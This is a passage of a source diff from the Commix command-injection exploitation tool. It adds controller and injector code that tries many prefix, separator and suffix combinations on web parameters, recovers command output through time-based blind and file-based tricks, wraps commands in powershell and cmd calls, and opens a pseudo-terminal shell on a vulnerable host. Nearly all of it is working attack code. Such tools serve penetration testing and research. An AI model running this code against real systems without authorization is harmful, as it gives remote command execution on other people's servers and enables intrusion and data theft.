-InputFormat none write (" + str(rand_num) + ")" + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + cmd = "expr " + str(randv1) + " %2B " + str(randv2) + "" + else: + cmd = "echo $((" + str(randv1) + " %2B " + str(randv2) + "))" + + # Set the original delay time + original_exec_time = exec_time + + # Check for false positive resutls + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + exec_time, output = injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique) + else: + exec_time, output = injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique) + + if checks.time_relative_shell(url_time_response, exec_time, timesec): + if str(output) == str(randvcalc) and len(TAG) == output_length: + possibly_vulnerable = True + exec_time_statistic = 0 + if settings.VERBOSITY_LEVEL == 0: + percent = settings.info_msg + else: + percent = "" + #break + else: + break + # False positive + else: + if settings.VERBOSITY_LEVEL == 0: + percent = ".. (" + str(float_percent) + "%)" + checks.injection_process(injection_type, technique, percent) + continue + else: + if settings.VERBOSITY_LEVEL == 0: + percent = ".. (" + str(float_percent) + "%)" + checks.injection_process(injection_type, technique, percent) + continue + + except (KeyboardInterrupt, SystemExit): + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals(): + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + raise + + except EOFError: + checks.EOFError_err_msg() + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals(): + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + raise + + except: + percent = ((num_of_chars * 100) / total) + float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) + if str(float_percent) == "100.0": + if no_result == True: + if settings.VERBOSITY_LEVEL == 0: + percent = settings.FAIL_STATUS + checks.injection_process(injection_type, technique, percent) + else: + percent = "" + else: + percent = ".. (" + str(float_percent) + "%)" + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + # Print logs notification message + logs.logs_notification(filename) + #raise + else: + percent = ".. (" + str(float_percent) + "%)" + break + + # Yaw, got shellz! + # Do some magic tricks! + if checks.time_relative_shell(url_time_response, exec_time, timesec): + if (len(TAG) == output_length) and \ + (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): + found = True + no_result = False + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) + # Export session + if not settings.LOAD_SESSION: + shell = "" + session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_exec_time, output_length, is_vulnerable=menu.options.level) + else: + whitespace = settings.WHITESPACES[0] + settings.LOAD_SESSION = False + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + OUTPUT_TEXTFILE = "" + # Check for any enumeration options. + enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + # Check for any system file access options. + file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + # Check if defined single cmd. + if menu.options.os_cmd: + cmd = menu.options.os_cmd + enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + # Export injection result + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and len(output) > 1: + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + # Pseudo-Terminal shell + if pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response) == None: + continue + else: + return + + return exit_handler(no_result) + +""" +The main results based exploitation proccess. +""" +def do_results_based_proccess(url, timesec, filename, http_request_method, injection_type, technique): + + shell = False + counter = 1 + vp_flag = True + exit_loops = False + no_result = True + is_encoded = False + stop_injection = False + call_tmp_based = False + next_attack_vector = False + export_injection_info = False + timesec = checks.time_relative_timesec(timesec) + checks.testing_technique_title(injection_type, technique) + + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + try: + import html + unescape = html.unescape + except: # Python 2 + unescape = _html_parser.HTMLParser().unescape + from src.core.injections.results_based.techniques.classic import cb_injector as injector + from src.core.injections.results_based.techniques.classic import cb_payloads as payloads + + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + from src.core.injections.results_based.techniques.eval_based import eb_payloads as payloads + else: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + from src.core.injections.semiblind.techniques.file_based import fb_payloads as payloads + + # Calculate all possible combinations + if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + for item in range(0, len(settings.EXECUTION_FUNCTIONS)): + settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "(" + settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS + prefixes = settings.EVAL_PREFIXES + suffixes = settings.EVAL_SUFFIXES + separators = settings.EVAL_SEPARATORS + else: + prefixes = settings.PREFIXES + suffixes = settings.SUFFIXES + separators = settings.SEPARATORS + + if not settings.LOAD_SESSION: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + url_time_response = 0 + tmp_path = checks.check_tmp_path(url, timesec, filename, http_request_method, url_time_response) + TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) + + i = 0 + total = len(settings.WHITESPACES) * len(prefixes) * len(suffixes) * len(separators) + for whitespace in settings.WHITESPACES: + for prefix in prefixes: + for suffix in suffixes: + for separator in separators: + if whitespace == settings.SINGLE_WHITESPACE: + whitespace = _urllib.parse.quote(whitespace) + # Check injection state + settings.DETECTION_PHASE = True + settings.EXPLOITATION_PHASE = False + # If a previous session is available. + if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type): + try: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + settings.FILE_BASED_STATE = True + url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) + checks.check_for_stored_tamper(payload) + OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT + if re.findall(settings.DIRECTORY_REGEX,payload): + filepath = re.findall(settings.DIRECTORY_REGEX,payload)[0] + settings.WEB_ROOT = os.path.dirname(filepath) + settings.CUSTOM_WEB_ROOT = True + tmp_path = checks.check_tmp_path(url, timesec, filename, http_request_method, url_time_response) + session_handler.notification(url, technique, injection_type) + elif technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) + else: + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + settings.CLASSIC_STATE = True + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + settings.EVAL_BASED_STATE = True + url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) + checks.check_for_stored_tamper(payload) + except TypeError: + checks.error_loading_session_file() + + if settings.RESET_TESTS: + reset_tests(url, timesec, filename, http_request_method, injection_type, technique) + + if not settings.LOAD_SESSION: + i = i + 1 + # Check for bad combination of prefix and separator + combination = prefix + separator + if combination in settings.JUNK_COMBINATION: + prefix = "" + + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + # The output file for file-based injection technique. + OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT + else: + randv1 = random.randrange(100) + randv2 = random.randrange(100) + randvcalc = randv1 + randv2 + + # Define alter shell + alter_shell = menu.options.alter_shell + try: + # File-based decision payload (check if host is vulnerable). + if alter_shell: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + payload = payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE) + else: + payload = payloads.decision_alter_shell(separator, TAG, randv1, randv2) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + payload = payloads.decision(separator, TAG, OUTPUT_TEXTFILE) + else: + # Classic decision payload (check if host is vulnerable). + payload = payloads.decision(separator, TAG, randv1, randv2) + + vuln_parameter = "" + response, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: + # Try target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate test results. + time.sleep(timesec) + shell = injector.injection_test_results(response, TAG, randvcalc, technique) + if settings.VERBOSITY_LEVEL == 0: + percent, float_percent = checks.percentage_calculation(i, total) + percent = checks.print_percentage(float_percent, no_result, shell) + checks.injection_process(injection_type, technique, percent) + else: + try: + time.sleep(timesec) + output = injector.injection_output(url, OUTPUT_TEXTFILE, timesec, technique) + response = checks.get_response(output) + if type(response) is bool: + html_data = "" + else: + html_data = checks.page_encoding(response, action="decode") + shell = re.findall(r"" + TAG + "", str(html_data)) + if len(shell) == 0 : + raise _urllib.error.HTTPError(url, int(settings.NOT_FOUND_ERROR), 'Error', {}, None) + else: + if shell[0] == TAG and not settings.VERBOSITY_LEVEL != 0: + percent = settings.info_msg + checks.injection_process(injection_type, technique, percent) + + except _urllib.error.HTTPError as e: + if str(e.getcode()) == settings.NOT_FOUND_ERROR: + percent, float_percent = checks.percentage_calculation(i, total) + if call_tmp_based == True: + exit_loops = True + tmp_path = os.path.split(menu.options.file_dest)[0] + "/" + tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) + raise + # Show an error message, after N failed tries. + # Use the "/tmp/" directory for tempfile-based technique. + elif (i == int(menu.options.failed_tries) and no_result == True) or (i == total): + if i == total: + if checks.finalize(exit_loops, no_result, float_percent, injection_type, technique, shell): + continue + else: + raise + checks.use_temp_folder(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) + else: + if checks.finalize(exit_loops, no_result, float_percent, injection_type, technique, shell): + continue + else: + raise + + elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR: + err_msg = "Authorization is required to access this page: '" + settings.DEFINED_WEBROOT + "'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + elif str(e.getcode()) == settings.FORBIDDEN_ERROR: + err_msg = "You don't have access to this page: '" + settings.DEFINED_WEBROOT + "'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + except (KeyboardInterrupt, SystemExit): + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + # Delete previous shell (text) files (output) + if 'vuln_parameter' in locals(): + # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + raise + else: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + raise + + except _urllib.error.URLError as e: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + warn_msg = "It seems that you don't have permissions to " + warn_msg += "read and/or write files in directory '" + settings.WEB_ROOT + "'." + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) + err_msg = str(e).replace(": "," (") + ")." + if settings.VERBOSITY_LEVEL >= 2: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + # Provide custom server's root directory. + if not menu.options.web_root: + checks.custom_web_root(url, timesec, filename, http_request_method, url_time_response) + continue + + except EOFError: + checks.EOFError_err_msg() + raise + + except: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + raise + else: + continue + + # Yaw, got shellz! + # Do some magic tricks! + if shell: + found = True + no_result = False + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) + # Export session + if not settings.LOAD_SESSION: + session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, exec_time=0, output_length=0, is_vulnerable=menu.options.level) + else: + whitespace = settings.WHITESPACES[0] + settings.LOAD_SESSION = False + cmd = maxlen = "" + if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: + OUTPUT_TEXTFILE = url_time_response = "" + # Check for any enumeration options. + enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + # Check for any system file access options. + file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + # Check if defined single cmd. + if menu.options.os_cmd: + enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + # Pseudo-Terminal shell + if pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response) == None: + continue + else: + return + + return exit_handler(no_result) \ No newline at end of file diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py new file mode 100755 index 0000000000..5bcc49d262 --- /dev/null +++ b/src/core/injections/controller/injector.py @@ -0,0 +1,523 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import os +import sys +import time +import json +import string +import random +from src.utils import menu +from src.utils import settings +from src.core.requests import proxy +from src.core.requests import headers +from src.core.requests import requests +from src.core.requests import parameters +from src.utils import common +from src.core.injections.controller import checks +from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.six.moves import input as _input +from src.thirdparty.six.moves import html_parser as _html_parser +from src.thirdparty.colorama import Fore, Back, Style, init + +""" +The main time-realative command injection exploitation. +""" +def time_relative_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_payloads as payloads + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as payloads + + if settings.TARGET_OS == settings.OS.WINDOWS: + previous_cmd = cmd + if alter_shell: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" + else: + cmd = checks.quoted_cmd(cmd) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" + else: + cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" + + if menu.options.file_write or menu.options.file_upload: + minlen = 0 + else: + minlen = 1 + + found_chars = False + info_msg = "Retrieving the length of execution output" + if settings.TEMPFILE_BASED_STATE: + info_msg += " (via '" + OUTPUT_TEXTFILE +"')" + info_msg += "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + for output_length in range(int(minlen), int(maxlen)): + if alter_shell: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) + else: + payload = payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) + else: + payload = payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) + + exec_time, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + injection_check = False + if (exec_time >= settings.FOUND_EXEC_TIME and exec_time - timesec >= settings.FOUND_DIFF): + injection_check = True + + if injection_check == True: + if output_length > 1: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Retrieved the length of execution output: " + str(output_length) + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) + else: + sub_content = "Retrieved: " + str(output_length) + settings.print_data_to_stdout(settings.print_sub_content(sub_content)) + found_chars = True + injection_check = False + break + + # Proceed with the next (injection) step! + if found_chars == True : + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = previous_cmd + num_of_chars = output_length + 1 + check_start = 0 + check_end = 0 + check_start = time.time() + output = [] + percent = "0.0%" + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + info_msg = "Presuming the execution output." + else: + info_msg = "Retrieving the execution output (via '" + OUTPUT_TEXTFILE + "')." + if settings.VERBOSITY_LEVEL == 0 : + info_msg += ".. (" + str(percent) + ")" + else: + info_msg += "\n" + if output_length > 1: + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + + for num_of_chars in range(1, int(num_of_chars)): + char_pool = checks.generate_char_pool(num_of_chars) + for ascii_char in char_pool: + if alter_shell: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) + else: + payload = payloads.get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) + else: + payload = payloads.get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) + exec_time, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + injection_check = False + if (exec_time >= settings.FOUND_EXEC_TIME and exec_time - timesec >= settings.FOUND_DIFF): + injection_check = True + + if injection_check == True: + if settings.VERBOSITY_LEVEL == 0: + output.append(chr(ascii_char)) + percent, float_percent = checks.percentage_calculation(num_of_chars, output_length) + if percent == 100: + float_percent = settings.info_msg + else: + float_percent = ".. (" + str(float_percent) + "%)" + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + info_msg = "Presuming the execution output." + else: + info_msg = "Retrieving the execution output (via '" + OUTPUT_TEXTFILE + "')." + info_msg += float_percent + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + else: + output.append(chr(ascii_char)) + injection_check = False + break + + check_end = time.time() + check_exec_time = int(check_end - check_start) + output = "".join(str(p) for p in output) + + # Check for empty output. + if output == (len(output) * settings.SINGLE_WHITESPACE): + output = "" + + else: + check_start = 0 + check_exec_time = 0 + output = "" + + return check_exec_time, output + +""" +The main results-based command injection exploitation. +""" +def results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique): + + def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_payloads as payloads + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_payloads as payloads + else: + from src.core.injections.semiblind.techniques.file_based import fb_payloads as payloads + + if alter_shell: + if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: + payload = payloads.cmd_execution_alter_shell(separator, TAG, cmd) + else: + payload = payloads.cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE) + else: + if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: + payload = payloads.cmd_execution(separator, TAG, cmd) + else: + payload = payloads.cmd_execution(separator, cmd, OUTPUT_TEXTFILE) + if settings.VERBOSITY_LEVEL != 0: + _ = cmd + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + payload_msg = payload.replace("\n", "\\n") + if settings.COMMENT in payload_msg: + payload = payload.split(settings.COMMENT)[0].strip() + payload_msg = payload_msg.split(settings.COMMENT)[0].strip() + if settings.COMMENT in cmd: + _ = cmd.split(settings.COMMENT)[0].strip() + debug_msg = "Executing the '" + _ + "' command. " + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + response, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + return response + + response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + + if technique == settings.INJECTION_TECHNIQUE.CLASSIC or technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + tries = 0 + while not response: + if tries < (menu.options.failed_tries / 2): + response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + tries = tries + 1 + else: + err_msg = "Something went wrong, the request has failed (" + str(tries) + ") times continuously." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + return response + + +""" +False-positive check and evaluation. +""" +def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique): + + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_payloads as payloads + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as payloads + + if settings.TARGET_OS == settings.OS.WINDOWS: + previous_cmd = cmd + if alter_shell: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" + else: + cmd = checks.quoted_cmd(cmd) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" + else: + cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" + + found_chars = False + checks.check_for_false_positive_result(false_positive_warning) + + # Varying the sleep time. + if false_positive_warning: + timesec = timesec + random.randint(3, 5) + + # Checking the output length of the used payload. + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(".") + for output_length in range(1, 3): + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(".") + # Execute shell commands on vulnerable host. + if alter_shell : + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) + else: + payload = payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) + else: + payload = payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) + + exec_time, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + if (exec_time >= settings.FOUND_EXEC_TIME) and (exec_time - timesec >= settings.FOUND_DIFF): + found_chars = True + break + + if found_chars == True : + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = previous_cmd + num_of_chars = output_length + 1 + check_start = 0 + check_end = 0 + check_start = time.time() + + output = [] + percent = 0 + + is_valid = False + for num_of_chars in range(1, int(num_of_chars)): + for ascii_char in range(1, 20): + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(".") + if alter_shell: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) + else: + payload = payloads.fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) + else: + payload = payloads.fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method) + exec_time, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + if (exec_time >= settings.FOUND_EXEC_TIME) and (exec_time - timesec >= settings.FOUND_DIFF): + output.append(ascii_char) + is_valid = True + break + + if is_valid: + break + + check_end = time.time() + check_exec_time = int(check_end - check_start) + output = "".join(str(p) for p in output) + + if str(output) == str(randvcalc): + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(" (done)") + return exec_time, output + + else: + checks.unexploitable_point() + +""" +Find the URL directory. +""" +def injection_output(url, OUTPUT_TEXTFILE, timesec, technique): + + def custom_web_root(url, OUTPUT_TEXTFILE): + path = _urllib.parse.urlparse(url).path + if path.endswith('/'): + # Contract again the url. + scheme = _urllib.parse.urlparse(url).scheme + netloc = _urllib.parse.urlparse(url).netloc + output = scheme + "://" + netloc + path + OUTPUT_TEXTFILE + else: + try: + path_parts = [non_empty for non_empty in path.split('/') if non_empty] + count = 0 + for part in path_parts: + count = count + 1 + count = count - 1 + last_param = path_parts[count] + output = url.replace(last_param, OUTPUT_TEXTFILE) + if "?" and settings.OUTPUT_FILE_EXT in output: + try: + output = output.split("?")[0] + except: + pass + except IndexError: + output = url + "/" + OUTPUT_TEXTFILE + settings.DEFINED_WEBROOT = output + return output + + if not settings.DEFINED_WEBROOT or settings.MULTI_TARGETS: + if menu.options.web_root: + scheme = _urllib.parse.urlparse(url).scheme + hostname = _urllib.parse.urlparse(url).hostname + netloc = _urllib.parse.urlparse(url).netloc + output = scheme + "://" + netloc + "/" + OUTPUT_TEXTFILE + if not settings.DEFINED_WEBROOT or (settings.MULTI_TARGETS and not settings.RECHECK_FILE_FOR_EXTRACTION): + if settings.MULTI_TARGETS: + settings.RECHECK_FILE_FOR_EXTRACTION = True + while True: + message = "Do you want to use URL '" + output + message += "' for command execution output? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + settings.DEFINED_WEBROOT = output + break + elif procced_option in settings.CHOICE_NO: + message = "Enter URL to use " + message += "for command execution output > " + message = common.read_input(message, default=output, check_batch=True) + output = settings.DEFINED_WEBROOT = message + info_msg = "Using '" + output + info_msg += "' for command execution output." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if not settings.DEFINED_WEBROOT: + pass + else: + break + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass + else: + output = custom_web_root(url, OUTPUT_TEXTFILE) + else: + output = settings.DEFINED_WEBROOT + + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Checking if the file '" + output + "' is accessible." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + return output + +""" +Evaluate test results. +""" +def injection_test_results(response, TAG, randvcalc, technique): + if type(response) is bool and response != True or response is None: + return False + + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + try: + import html + unescape = html.unescape + except: # Python 2 + unescape = _html_parser.HTMLParser().unescape + # Check the execution results + html_data = checks.page_encoding(response, action="decode") + html_data = html_data.replace("\n",settings.SINGLE_WHITESPACE) + # cleanup string / unescape html to string + html_data = _urllib.parse.unquote(html_data) + html_data = unescape(html_data) + # Replace non-ASCII characters with a single space + re.sub(r"[^\x00-\x7f]",r" ", html_data) + if settings.SKIP_CALC: + shell = re.findall(r"" + TAG + TAG + TAG, html_data) + else: + shell = re.findall(r"" + TAG + str(randvcalc) + TAG + TAG, html_data) + if len(shell) > 1: + shell = shell[0] + else: + html_data = checks.page_encoding(response, action="decode") + html_data = re.sub("\n", settings.SINGLE_WHITESPACE, html_data) + if settings.SKIP_CALC: + shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE , html_data) + else: + shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + str(randvcalc) + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE , html_data) + + return shell + +""" +Command execution results. +""" +def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec): + + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + try: + import html + unescape = html.unescape + except: # Python 2 + unescape = _html_parser.HTMLParser().unescape + false_result = False + try: + # Grab execution results + html_data = checks.page_encoding(response, action="decode") + html_data = 